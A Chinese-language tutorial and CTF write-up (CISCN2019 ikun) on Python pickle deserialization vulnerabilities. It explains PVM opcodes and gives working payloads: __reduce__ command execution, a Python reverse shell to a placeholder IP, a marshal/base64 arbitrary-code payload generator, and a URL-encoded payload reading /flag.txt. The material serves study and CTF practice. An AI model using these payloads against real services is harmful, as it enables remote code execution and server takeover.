0x01 序列化与反序列化

Python中的序列化操作是通过picklecPickle 模块(操作是一样的,这里以pickle为例):

1、dumpload与文件操作结合起来:

(1)序列化:

1
pickle.dump(obj, file, protocol=None,)

必填参数obj表示将要封装的对象,必填参数file表示obj要写入的文件对象,file必须以二进制可写模式打开,即wb

(2)反序列化

1
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"

必填参数file必须以二进制可读模式打开,即rb,其他都为可选参数。

(3)示例:

1
2
3
4
5
6
7
8
9
10
11
12
import pickle

data = ['aa', 'bb', 'cc']

with open("./test.pkl", "wb") as f:
pickle.dump(data, f)

with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)

print(d)
# ['aa', 'bb', 'cc']

2、dumpsloads则不需要输出成文件,而是以字符串(py2)或字节流(py3)的形式进行转换。

(1)序列化:

1
pickle.dumps(obj)

(2)反序列化

1
pickle.loads(bytes_object)

(3)示例:

1
2
3
4
5
6
7
8
9
# python3
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)

d = pickle.loads(p)
print(d)

output:

1
2
3
b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'  

['aa', 'bb', 'cc']
1
2
3
4
5
6
7
8
# python2
import pickle

data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d

output:

1
2
3
4
5
6
7
8
9
10
(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.

['aa', 'bb', 'cc']

0x02 PVM 操作码

要想真正的利用反序列化,我们还得从底层了解一下pickle数据的格式是什么样的。

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  • t:从堆栈中弹出对象,直到一个(被弹出,并创建一个包含弹出对象(除了()的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  • .:结束pickle

简单说来就是:

  • c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行。
  • (:相当于左括号
  • t:相当于右括号
  • S:表示本行的内容一个字符串
  • R:执行紧靠自己左边的一个括号对(即(t之间)的内容
  • .:代表该pickle结束

举一个例子:

1
2
3
4
cos
system
(S'whoami'
tR.

我们将上面的序列化字符串在python2下反序列化,相当于执行了os.system('whoami')

1
2
3
4
# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)

在这里插入图片描述


0x03 反序列化漏洞利用

1、可能出现的地方:

  • 通常在解析认证token,session的时候。现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。
  • 可能将对象Pickle后存储成磁盘文件。
  • 可能将对象Pickle后在网络中传输。
  • 可能参数传递给程序,比如sqlmap的代码执行漏洞

2、利用方式

python中的类有一个__reduce__方法,类似与PHP中的wakeup,在反序列化的时候会自动调用。

这里注意,在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了,具体可参考这篇文章

而我们定义的__reduce__ 可以返回一个元组,这个元组包含2到5个元素,主要用到前两个参数,即一个可调用的对象,用于重建对象时调用,一个参数元素(也是元组形式),供那个可调用对象使用。

举个例子就清楚了:

1
2
3
4
5
6
7
8
import pickle
import os
class A(object):
def __reduce__(self):
return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)

可以看到成功执行了命令:
在这里插入图片描述

我们再试一下反弹shell,在ubuntu上运行下列代码:

1
2
3
4
5
6
7
8
9
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)

在kali上监听8888端口,可以看到成功反弹shell。
在这里插入图片描述

pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

0x04 任意代码执行

pickle 是不能序列化代码对象的,但是自从 python 2.6 起,Python 给我们提供了一个可以序列化code对象的模块Marshal,如下:

1
2
3
4
5
6
7
8
9
10
import pickle
import marshal
import base64

def code():
import os
os.system('whoami')

code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle

输出如下:
在这里插入图片描述
为了保证格式问题采用base64编码一下,但是我们并不能像前面那样利用__reduce__来调用,因为__reduce__是利用调用某个可调用对象(callable) 并传递参数来执行的,而我们这个函数本身就是一个 callable ,我们需要执行它,而不是将他作为某个函数的参数。

这时候就需要利用PVM操作码来进行构造了,想要这段输出的base64的内容得到执行,我们需要如下代码:

1
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

Python 能通过 types.FunctionTyle(func_code,globals(),'')() 来动态地创建匿名函数,所以上面的语句实际上就是:

1
2
3
4
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

最终上面的例子构造出来的PVM语句如下:

1
2
3
4
5
6
7
8
9
10
11
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.

我们将他反序列化一下看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pickle

s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""

pickle.loads(s)

发现成功执行了code函数里的语句:
在这里插入图片描述

这样我们可以用如下脚本构造payload,再根据实际情况对payload进行url编码之类的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import marshal
import base64

def code():
pass # any code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))

0x05 实例分析

CISCN2019 ikun

这题先通过逻辑漏洞修改表单的折扣来购买lv6产品,然后伪造JWT为admin拿到源码,我们直接来讲python反序列化的地方。

审计一下源码,使用的tornado框架,问题在views/Admin.py中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

可以看到在post方法中,使用become传参进去,并且对传进来的值进行url解码,然后反序列化,反序列化的结果通过p在前端回显了。

这里就存在一个反序列化漏洞,但是这题过滤了很多执行系统命令的函数,我看网上大多数的wp直接猜出/flag.txt然后用eval(open('/flag.txt','r').read())来读取文件了。

实际上这里可以使用commands.getoutput()来执行命令:

1
2
3
4
5
6
7
8
9
10
11
# coding=utf8
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))

a = payload()
print urllib.quote(pickle.dumps(a))

得到:

1
ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

在这里插入图片描述

再将上面脚本的ls /改为cat /flag.txt,得到最终payload:

1
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.

修改become的值为上述payload即可得到flag:
在这里插入图片描述



参考链接:

http://www.polaris-lab.com/index.php/archives/178/

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/